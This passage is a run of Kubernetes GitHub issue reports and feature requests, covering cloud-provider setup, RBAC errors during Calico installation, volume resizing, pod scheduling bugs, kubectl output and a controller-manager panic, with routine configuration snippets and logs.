approved\ \r             }\r          \r     }\r }\r    \r \r the  status  field should also contain a  certificate  field which has the raw generated certificate bytes.\r \r   anything else we need to know  :\r \r

is this a request for help?    yes\r \r   what happened  :\r we have 50 node kubernetes cluster, and we want to enable cloud provider feature on existing cluster, currently, we are going to each node and change manifest files for api server, controller-manager, and kubelet.  we also restart api server, controller, and kubelet. all of this actions requires administrator to manually login into each node to make a change.  we also need to copy cloud provider specific conf file, on each node.\r \r for controller-manager and api server, this is a one-time job, we can perform on the master node, but on worker nodes for kubelet configuration change, manually applying these change is very difficult. \r \r what keywords did you search in kubernetes issues before filing this one?  if you have found any duplicates, you should instead reply there. :\r enable cloud provider, referred - https://kubernetes.io/docs/getting-started-guides/scratch/ bootstrapping-the-cluster\r \r   what you expected to happen  :\r can this be simplified using kubectl apply or with running couple of commands, that create some privileges containers on master and all other nodes and perform configuration changes in the manifest file and restarts requires services and containers? \r \r any other solution or pointer would be helpful to us.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes 1.7.0\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc: @sandeeppissay

some validation was added in https://github.com/kubernetes/kubernetes/pull/46254, but more validation and tests are needed: https://github.com/kubernetes/kubernetes/pull/46254 discussion_r131026625\r \r @huangjiuyuan has kindly added validation in https://github.com/kubernetes/kubernetes/pull/49927, i will review soon.\r \r /cc @dchen1107

the apiserver now supports encryption of objects in etcd, and there is also support for storing the keys in gce kms  e.g. https://github.com/kubernetes/kubernetes/pull/48574   we should also add support storing the keys in aws kms.\r \r this likely means:\r \r   adding the appropriate integration with the aws kms apis, probably the equivalent of the gce kms prs\r   documenting the additional iam policies needed\r   getting support into e.g. kops and getting e2e test coverage.

follow-up of https://github.com/googlecloudplatform/fluent-plugin-google-cloud/issues/168\r \r when one of the outputs is healthy  e.g. for system component  and other is not, liveness probe doesn't find a problem

what happened  :\r installed master and slave with the kubernetes documentation : https://kubernetes.io/docs/setup/independent/install-kubeadm/\r created a cluster : https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r the cluster can be started\r after this, i tried to install a pod network to start working with slaves inside the cluster\r \r   what you expected to happen  :\r the api i try to install should be pulled. but it's not working\r \r   how to reproduce it  as minimally and precisely as possible   :\r install docker 17.03 on the master,\r install kubeadm, kubectl and kubelet like the documentation \r created a cluster.\r try to pull the pod network calico\r got error everywhere and i'm not able to pull any api with the \ kubectl apply\ \r \r   anything else we need to know?  :\r there is the error from this command to install calico : kubectl apply -f https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\r \r  error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a80c0 0xc420112000 kube-system calico-config https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc420d03340 0xc420d03340  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : configmaps \ calico-config\  is forbidden: user \ system:node:sca4-rt\  cannot get configmaps in the namespace \ kube-system\ : no path found to object\r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a8900 0xc42033a770 kube-system calico-etcd https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc420d02318 0xc420d02318  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : daemonsets.extensions \ calico-etcd\  is forbidden: user \ system:node:sca4-rt\  cannot get daemonsets.extensions in the namespace \ kube-system\ \r error from server  forbidden : error when creating \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : services is forbidden: user \ system:node:sca4-rt\  cannot create services in the namespace \ kube-system\ \r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a9380 0xc4206ba3f0 kube-system calico-node https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc420d02f88 0xc420d02f88  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : daemonsets.extensions \ calico-node\  is forbidden: user \ system:node:sca4-rt\  cannot get daemonsets.extensions in the namespace \ kube-system\ \r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a9a40 0xc4200423f0 kube-system calico-kube-controllers https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc420d03bf0 0xc420d03bf0  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : deployments.extensions \ calico-kube-controllers\  is forbidden: user \ system:node:sca4-rt\  cannot get deployments.extensions in the namespace \ kube-system\ \r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a9bc0 0xc42022b810 kube-system calico-policy-controller https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000c200 0xc42000c200  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : deployments.extensions \ calico-policy-controller\  is forbidden: user \ system:node:sca4-rt\  cannot get deployments.extensions in the namespace \ kube-system\ \r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a9c80 0xc4202e8b60  calico-cni-plugin https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000c540 0xc42000c540  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : clusterrolebindings.rbac.authorization.k8s.io \ calico-cni-plugin\  is forbidden: user \ system:node:sca4-rt\  cannot get clusterrolebindings.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4209a9ec0 0xc4202e9f80  calico-cni-plugin https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000c7d8 0xc42000c7d8  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : clusterroles.rbac.authorization.k8s.io \ calico-cni-plugin\  is forbidden: user \ system:node:sca4-rt\  cannot get clusterroles.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4205aa000 0xc4201aed20 kube-system calico-cni-plugin https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000c990 0xc42000c990  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : serviceaccounts \ calico-cni-plugin\  is forbidden: user \ system:node:sca4-rt\  cannot get serviceaccounts in the namespace \ kube-system\ \r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4205aa240 0xc4201afea0  calico-kube-controllers https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000cb00 0xc42000cb00  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : clusterrolebindings.rbac.authorization.k8s.io \ calico-kube-controllers\  is forbidden: user \ system:node:sca4-rt\  cannot get clusterrolebindings.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4205aa540 0xc4201fd3b0  calico-kube-controllers https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000cd38 0xc42000cd38  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : clusterroles.rbac.authorization.k8s.io \ calico-kube-controllers\  is forbidden: user \ system:node:sca4-rt\  cannot get clusterroles.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : error when retrieving current configuration of:\r &{0xc4205aaa80 0xc4204a80e0 kube-system calico-kube-controllers https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml 0xc42000cf20 0xc42000cf20  false}\r from server for: \ https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ : serviceaccounts \ calico-kube-controllers\  is forbidden: user \ system:node:sca4-rt\  cannot get serviceaccounts in the namespace \ kube-system\ \r  \r \r   environment  :\r - kubernetes version 1.8.2\r - linux debian smp 4.9.30-2+deb9u5\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r according to https://github.com/kubernetes/features/issues/284, some volumes e.g. aws, nfs, ceph  has already supported pv resizing, need to add pv resize support for azure disk\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r pv resize doc is here:\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/grow-volume-size.md\r \r update:\r for azure disk, there is blocking issue: it does not support disk resize on a running vm. i will try to work on resizing an azure disk which is not in attached state. may dig into more details later. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

is this a bug report or feature request?  :\r bug report\r \r  \r \r   what happened  :\r running  hack/local-up-cluster.sh  with  dockerize_kubelet=true  option failed to start kubelet.  kubectl describe node  found kubelet not ready  due to error  container runtime is down \r \r if not running in containers, kubelet started fine.\r \r   what you expected to happen  :\r kubelet should be ready\r   how to reproduce it  as minimally and precisely as possible   :\r running  hack/local-up-cluster.sh  with  dockerize_kubelet=true  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-rc.1\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : rhel 7.4\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r reported by @cduchesne\r \r the current csi in-tree plugin sets the  targetpath  to a directory, e.g.  /var/lib/kubelet/pods/f01d8107-69cd-11e8-85a4-0cc47ac6c23c/volumes/kubernetes.io~csi/pv-block/mount  when calling  nodestagevolume  or  nodepublishvolume .\r \r   what you expected to happen  :\r \r block devices are files, so the target path should be a file, not a directory. the plugin could create a symlink inside the specified directory, but then kubernetes won't have a handle to the block device. so kublet should specify a file path for block devices.\r \r next question is if the file should exist before calling csi, my suggestion is that it should not exist. the plugin will create a symlink, and kubelet can verify it after calling  nodestagevolume  or  nodepublishvolume .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @vladimirvivien

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r pod created from a deployment has the imagepullpolicy property set to \ always\  - whereas the deployment has the property set to \ ifnotpresent\ \r \r when pods are started from these deployments, there is a spike of network traffic and disk activity on the host - i'm running on windows so this makes the situation worse as the images are bigger and take longer to pull.\r \r   what you expected to happen  :\r pods to respect the deployment imagepullpolicy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deployment yaml:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r    snip   \r spec:\r    snip   \r       containers:\r    snip   \r         imagepullpolicy: ifnotpresent\r         name: myapplication\r         resources:\r           limits:\r             cpu: 100m\r             memory: 1000mi\r           requests:\r             cpu: 100m\r             memory: 1000mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: default\r       imagepullsecrets:\r       - name: containerregistry\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r    snip   \r    \r \r pod scheduled from deployment yaml:\r    \r apiversion: v1\r kind: pod\r    snip   \r spec:\r    snip   \r   containers:\r    snip   \r     image: myreg/image:5481-release-5.10\r     imagepullpolicy: always\r    snip   \r    \r \r   anything else we need to know?  :\r all deployments have the image tag set using a specific version  not using latest .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.3\r - cloud provider or hardware configuration:\r acs-engine 0.17.1\r - os  e.g. from /etc/os-release :\r windows 2016 1803\r

seeing  out of sync; retrying  errors in testvolumebindingrescheduling:\r \r http://storage.googleapis.com/k8s-metrics/flakes-latest.json shows testvolumebindingrescheduling in the top 3 flakes for its job\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/67207/pull-kubernetes-integration/22583/\r \r    \r e0810 14:10:47.907031   30434 factory.go:1409  error scheduling volume-scheduling1250e95d-9ca7-11e8-ad13-0242ac110002/pod-reschedule-onclassadd-static: v1.persistentvolume \ pv-reschedule-onclassadd-static\  is out of sync; retrying\r e0810 14:10:47.908643   30434 factory.go:1409  error scheduling volume-scheduling1250e95d-9ca7-11e8-ad13-0242ac110002/pod-reschedule-onclassadd-static: v1.persistentvolume \ pv-reschedule-onclassadd-static\  is out of sync; retrying\r e0810 14:10:47.910120   30434 factory.go:1409  error scheduling volume-scheduling1250e95d-9ca7-11e8-ad13-0242ac110002/pod-reschedule-onclassadd-static: v1.persistentvolume \ pv-reschedule-onclassadd-static\  is out of sync; retrying\r e0810 14:10:47.912168   30434 factory.go:1409  error scheduling volume-scheduling1250e95d-9ca7-11e8-ad13-0242ac110002/pod-reschedule-onclassadd-static: v1.persistentvolume \ pv-reschedule-onclassadd-static\  is out of sync; retrying\r i0810 14:10:47.928002   30434 pv_controller_base.go:287  shutting down persistent volume controller\r i0810 14:10:47.928033   30434 pv_controller_base.go:398  claim worker queue shutting down\r i0810 14:10:47.928574   30434 pv_controller_base.go:341  volume worker queue shutting down\r --- fail: testvolumebindingrescheduling  49.76s \r \tvolume_binding_test.go:344: failed to schedule pod \ pod-reschedule-onclassadd-static\ : timed out waiting for the condition\r    \r \r @kubernetes/sig-storage-test-failures

 \r   what happened  :\r \r if someone submits a pod with the following yaml file\r \r    \r apiversion: v1\r kind: pod\r metadata:\r  name: busybox-1\r  namespace: default\r spec:\r  containers:\r  - name: busybox-1\r    image: busybox\r    command:\r      - sleep\r      - \ 3600\ \r    imagepullpolicy: ifnotpresent\r    resources:\r      requests:\r        cpu: 1\r        memory: \ 100mi\ \r        nvidia.com/gpu: 2\r      limits:\r        nvidia.com/gpu: 2\r  restartpolicy: always\r ---\r apiversion: v1\r kind: pod\r metadata:\r  name: busybox-2\r  namespace: default\r spec:\r  containers:\r  - name: busybox-2\r    image: busybox\r    command:\r      - sleep\r      - \ 3600\ \r    imagepullpolicy: ifnotpresent\r    resources:\r      requests:\r        cpu: 1\r        memory: \ 100mi\ \r        nvidia.com/gpu: 0\r      limits:\r        nvidia.com/gpu: 0\r    \r suppose the two pods run on same kubelet, if we restart the kubelet, the  busybox-1  pod will pass  podfitsresources , but the  busybox-2  pod will fail  podfitsresources . kubelet's log shows the reason\r    \r i0829 18:20:22.586445   10333 server.go:457  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ busybox-2\ , uid:\ 1a2ccb08-ab75-11e8-be16-6c0b840b6709\ , apiversion:\ v1\ , resourceversion:\ 278\ , fieldpath:\ \ } : type: 'warning' reason: 'outofnvidia.com/gpu' node didn't have enough resource: nvidia.com/gpu, requested: 0, used: 2, capacity: 0\r    \r \r   what you expected to happen  :\r \r the pod with zero resource request should pass  podfitsresources \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use  kubectl  create pods with the above yaml. when two pods are ready, restart the kubelet, you'll find the  busybox-2  will be rejected.\r \r   reason  \r after digging, we found that\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/lifecycle/predicate.go l73\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/devicemanager/manager.go l764\r https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/algorithm/predicates/predicates.go l784\r cause the problem.\r \r after restarted, kubelet will clear all allocatableresource, waiting for others to report the capacity and allocatable resource. at this time kubelet will do  admit  to reject the pods which are out of resource.\r  busybox-1  can pass the  admit  because it has a  >0  resource request,  sanitizenodeallocatable  will set allocatableresource, then  podfitsresources  pass the check. problem comes when kubelet try to admit  busybox-2 , it has a zero resource request,  sanitizenodeallocatable  will keep allocatbleresource which is zero, then  podfitsresources  fail the check although  busybox-2  does want zero resource.\r \r   fix  \r skipping zero resource check can solve this problem\r

what happened  :\r i find some apis for for deleting collection of workloads, such as job, pod, but no api for svc. i want to know why?\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in order to minimize the amount of requests that are sent to unready pods before the readiness probe detects the un-readiness of said pods, i was wondering if we could think about a new sort of probe that, instead of polling at a regular interval, would connect to a port, mark the pod ready upon success and only   mark the pod unready if the socket were to be closed   by the pod.\r \r  

we have a namespacedname type, which helps some.  kubelet might benefit from something like:      func formatpodname pod  api.pod  string {     return namespacedname{pod.namespace, pod.name}.string    // sort of inefficient, maybe a util func between them } func formatcontainername pod  api.pod, ctr  api.container  string {     return fmt.sprintf \ %s:%s\ , formatpodname pod , ctr.name  }

see titel, it is essential to set  --apiserver-count  otherwise the individual apiservers will fight to set the  kubernetes  service ip.

a pod referencing a nonexistent host path, such as the one below, does not run under the rkt container runtime.. however, it runs just fine under docker  which, by default, creates nonexistent paths as empty directories when a mount references them .  the pod also does not show up in  kubectl get pods  in any state, though it can still be deleted.  the latter is definitely something that should be fixed; the former is an intentional behavioural difference between rkt and docker and might be up to debate.  1  should the pod fail? do we need consistent behavior with docker here? do we think that blindly creating directories on the host masks typos and is surprising? 1b  should rkt change to this behavior, or should we create the directory before referencing it in a bindmount?  e.g. an  execstartpre=mkdir -p <host directories>   2  pods that fail like this should still be visible in  get pods ; i think this is jut that rkt failed during stage1 and there's some over-aggressive error handling in our code that masks this pod, but i haven't dived very deeply there yet.  example failing pod      yaml apiversion: v1 kind: pod metadata:   labels:     name: mount-dn   name: mount-dne spec:   restartpolicy: never   volumes:   - name: dne     hostpath:       path: /does/not/exist   containers:     - name: exit       image: busybox       command:  \ sh\ , \ -c\ , \ ls /test; sleep 60\         volumemounts:       - mountpath: /test         name: dne      cc @yifan-gu @tmrts

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:20:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r with kubectl version 1.6.0-beta.3, the output of  kubectl get pods  is not aligned:\r \r    \r $ kubectl get pods  -w\r name                              ready     status    restarts   age\r kube-controller-manager-core-01   1/1       running   0          2m\r kube-proxy-core-01   1/1       running   0         2m\r kube-proxy-core-02   1/1       running   0         2m\r kube-scheduler-core-01   1/1       running   0         2m\r    \r \r   what you expected to happen  :\r \r with kubectl version 1.5.4, the output is as follows:\r \r    \r $ kubectl get pods  -w\r name                              ready     status    restarts   age\r kube-controller-manager-core-01   1/1       running   0          3m\r kube-proxy-core-01                1/1       running   0          3m\r kube-proxy-core-02                1/1       running   0          3m\r kube-scheduler-core-01            1/1       running   0          3m\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r \r run  kubectl get pods -w  using kubectl version 1.6.0-beta.3.\r \r   anything else we need to know  :\r \r

now that the federation e2e tests are running in parallel, the logs from the control manager and the api server are very difficult to understand because of the number of interleaved operations. we should add the namespace  or, more specifically, the five-character unique suffix that we add to the namespace template we use for tests  to each of the log statements so that we can grep through the logs and make it easier to follow what's going on.\r \r in theory, we may be able to do this in the federation version of the test framework library that does logging.\r \r cc @csbell @nikhiljindal

 \r   what happened  :\r \r kubectl errors when attempting to convert a certificate from yaml to json\r \r   what you expected to happen  :\r \r kubectl converts certificate kind from yaml to json\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r bash-4.3$ cat cert.yaml\r apiversion: certmanager.k8s.io/v1alpha1\r kind: certificate\r metadata:\r   name: test\r spec:\r   acme:\r     config:\r       - domains:\r           - test.domain\r         http01:\r           ingress: test.domain\r   dnsnames:\r     - test.domain\r   issuerref:\r     name: some.issuer\r   secretname: some.secret\r \r bash-4.3$ kubectl convert -f cert.yaml --local=false -o json\r error: unable to decode \ cert.yaml\ : no kind \ certificate\  is registered for version \ certmanager.k8s.io/v1alpha1\ \r \r bash-4.3$ kubectl describe crd certificates.certmanager.k8s.io\r name:         certificates.certmanager.k8s.io\r namespace:\r labels:       <none>\r annotations:  <none>\r api version:  apiextensions.k8s.io/v1beta1\r kind:         customresourcedefinition\r metadata:\r   creation timestamp:  2017-11-08t13:26:30z\r   generation:          1\r   resource version:    5482\r   self link:           /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/certificates.certmanager.k8s.io\r   uid:                 6ea7d1b9-c488-11e7-af8f-027bd720ceca\r spec:\r   group:  certmanager.k8s.io\r   names:\r     kind:       certificate\r     list kind:  certificatelist\r     plural:     certificates\r     singular:   certificate\r   scope:        namespaced\r   version:      v1alpha1\r status:\r   accepted names:\r     kind:       certificate\r     list kind:  certificatelist\r     plural:     certificates\r     singular:   certificate\r   conditions:\r     last transition time:  <nil>\r     message:               no conflicts found\r     reason:                noconflicts\r     status:                true\r     type:                  namesaccepted\r     last transition time:  2017-11-08t13:26:30z\r     message:               the initial names have been accepted\r     reason:                initialnamesaccepted\r     status:                true\r     type:                  established\r events:                    <none>\r    \r particularly with  --local=false , shouldn't this contact the server and just work?\r \r   environment  :\r bash-4.3$ kubectl version --short\r client version: v1.8.3\r server version: v1.8.1+coreos.0\r \r also reported as https://github.com/jetstack/cert-manager/issues/198

 \r   what happened  :\r i'm running kubernetes on gce  not gke . i deploy the api server, scheduler, and controller manager to coreos 'master' nodes. note that the etcd cluster runs elsewhere. i'm using gce's alias ip ranges, i.e. i'm running the controller manager with:\r    \r --allocate-node-cidrs=true\r --cidr-allocator-type=cloudallocator\r --configure-cloud-routes=false\r    \r \r upon a rolling update of the aforementioned 'master' nodes the controller manager entered crash loop backoff. it seems to be panicing in the cloud cidr allocator code:\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x28 pc=0x2f695d1 \r goroutine 1318  running :\r k8s.io/kubernetes/pkg/controller/node/util.recordnodestatuschange 0xa6635c0, 0xc4209ee1c0, 0x0, 0x497b23c, 0x10 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/node/util/controller_utils.go:205 +0x71\r k8s.io/kubernetes/pkg/controller/node/ipam.  cloudcidrallocator .updatecidrallocation 0xc420ae9f20, 0xc42124d110, 0x30, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/node/ipam/cloud_cidr_allocator.go:200 +0xea0\r k8s.io/kubernetes/pkg/controller/node/ipam.  cloudcidrallocator .worker 0xc420ae9f20, 0xc42006c720 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/node/ipam/cloud_cidr_allocator.go:149 +0x139\r created by k8s.io/kubernetes/pkg/controller/node/ipam.  cloudcidrallocator .run\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/node/ipam/cloud_cidr_allocator.go:135 +0x174\r    \r \r   what you expected to happen  :\r the controller manager to allocate alias ip ranges without panicing. \r \r   how to reproduce it  as minimally and precisely as possible   :\r still working on this part. we've been running with this setup for some time and this is the first time we've seen it happen.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r    \r $ gcloud compute instances describe redacted                                                                                    \r no zone specified. using zone  us-central1-f  for instance:  redacted .                                                                              \r canipforward: true                                                                                                                                             \r cpuplatform: intel ivy bridge                                                                                                                                  \r creationtimestamp: '2018-01-11t13:17:50.251-08:00'                                                                                                             \r deletionprotection: false                                                                                                                                      \r description: redacted                                                                                                  \r disks:                                                                                                                                                         \r - autodelete: true                                                                                                                                             \r   boot: true                                                                                                                                                   \r   devicename: persistent-disk-0                                                                                                                                \r   index: 0                                                                                                                                                     \r   interface: scsi                                                                                                                                              \r   kind: compute attacheddisk                                                                                                                                   \r   licenses:                                                                                                                                                    \r   - https://www.googleapis.com/compute/v1/projects/coreos-cloud/global/licenses/coreos-stable                                                                  \r   mode: read_write                                                                                                                                             \r   source: https://www.googleapis.com/compute/v1/projects/redacted/zones/us-central1-f/disks/redacted                                       \r   type: persistent                                                                                                                                             \r - autodelete: true                                                                                                                                             \r   boot: false                                                                                                                                                  \r   devicename: varlibdocker                                                                                                                                     \r   index: 1                                                                                                                                                     \r   interface: scsi                                                                                                                                              \r   kind: compute attacheddisk                                                                                                                                   \r   mode: read_write                                                                                                                                             \r   type: scratch                                                                                                                                                \r id: '1290159941171702418'                                                                                                                                      \r kind: compute instance                                                                                                                                         \r labelfingerprint: diyggjsji6a=                                                                                                                                 \r labels:                                                                                                                                                        \r   cluster: redacted                                                                                                                                            \r   component: kubernetes                                                                                                                                        \r machinetype: https://www.googleapis.com/compute/v1/projects/redacted/zones/us-central1-f/machinetypes/n1-standard-2                                  \r metadata: \r name: redacted\r networkinterfaces:\r - accessconfigs:\r   - kind: compute accessconfig\r     name: external-nat\r     natip: redacted\r     type: one_to_one_nat\r   aliasipranges:\r   - ipcidrrange: redacted/24\r     subnetworkrangename: redacted\r   kind: compute networkinterface\r   name: nic0\r   network: https://www.googleapis.com/compute/v1/projects/redacted-xpn-host/global/networks/redacted\r   networkip: redacted\r   subnetwork: https://www.googleapis.com/compute/v1/projects/redacted-xpn-host/regions/us-central1/subnetworks/redacted\r scheduling:\r   automaticrestart: true\r   onhostmaintenance: migrate\r   preemptible: false\r selflink: https://www.googleapis.com/compute/v1/projects/redacted/zones/us-central1-f/instances/redacted\r serviceaccounts:\r - email: redacted@redacted.iam.gserviceaccount.com\r   scopes:\r   - https://www.googleapis.com/auth/cloud-platform\r startrestricted: false\r status: running\r zone: https://www.googleapis.com/compute/v1/projects/redacted/zones/us-central1-f\r    \r \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release \r name=\ container linux by coreos\ \r id=coreos\r version=1576.5.0\r version_id=1576.5.0\r build_id=2018-01-05-1121\r pretty_name=\ container linux by coreos 1576.5.0  ladybug \ \r ansi_color=\ 